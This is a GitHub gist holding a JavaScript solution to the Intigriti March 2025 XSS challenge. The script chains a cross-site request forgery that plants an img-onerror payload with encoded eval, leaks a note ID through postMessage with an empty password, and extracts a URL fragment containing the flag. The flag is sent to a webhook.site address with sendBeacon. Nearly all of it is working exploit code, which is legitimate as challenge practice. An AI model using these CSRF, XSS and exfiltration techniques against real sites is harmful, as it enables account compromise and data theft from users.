-
-
Save JorianWoltjer/1481c1f57f0a56c868da58752675df13 to your computer and use it in GitHub Desktop.
Intigriti March 2025 XSS challenge solution (https://challenge-0325.intigriti.io)
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<script> | |
const HOST = "https://challenge-0325.intigriti.io"; | |
const isFirefox = navigator.userAgent.toLowerCase().includes("firefox"); | |
window.addEventListener("message", (e) => { | |
if (e.data.leak) { | |
// 5. Exfiltrate the leaked fragment directive containing the flag | |
navigator.sendBeacon("https://webhook.site/...", JSON.stringify(e.data)); | |
alert(e.data.leak); | |
} | |
}); | |
// Leaking fragment directive is different in Firefox/Chrome | |
if (isFirefox) { | |
payload = ` | |
const interval = setInterval(() => { | |
if (w.location.href === "about:blank") return; | |
w.eval(\` | |
onhashchange = e => { | |
const leak = e.oldURL; | |
if (leak.includes("#")) { | |
opener.opener.postMessage({ leak }, "*"); | |
} else { | |
// Try again until it works | |
opener.location.reload(); | |
window.close(); | |
} | |
} | |
location.hash = "CHANGED"; | |
\`); | |
clearInterval(interval); | |
}, 0) | |
w=window.open("/note/anything") | |
`; | |
} else { | |
payload = `opener.postMessage({leak: performance.getEntriesByType("navigation")[0].name}, "*")`; | |
} | |
// 1. Whitelist third-party cookie protection | |
w = window.open(HOST); | |
// 2. CSRF with content of `Array` type with XSS payload | |
const body = { | |
title: "XSS through CSRF", | |
content: [`<img src onerror=eval(atob("${btoa(payload)}"))>`], | |
use_password: "false", | |
}; | |
setTimeout(async () => { | |
await fetch(HOST + "/api/post", { | |
method: "POST", | |
credentials: "include", | |
mode: "no-cors", | |
body: new Blob([JSON.stringify(body)]), | |
}); | |
// 3. Leak the note ID with postMessage empty password | |
let interval; | |
w.location = HOST + "/protected-note"; | |
onmessage = (e) => { | |
if (e.data.type === "success") { | |
clearInterval(interval); | |
// 4. Visit the leaked note (with XSS payload we just created) | |
w.location = HOST + `/note/${e.data.noteId}`; | |
} | |
}; | |
interval = setInterval(() => { | |
w.postMessage({ type: "submitPassword", password: "" }, "*"); | |
}, 0); | |
}, 1000); | |
</script> |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment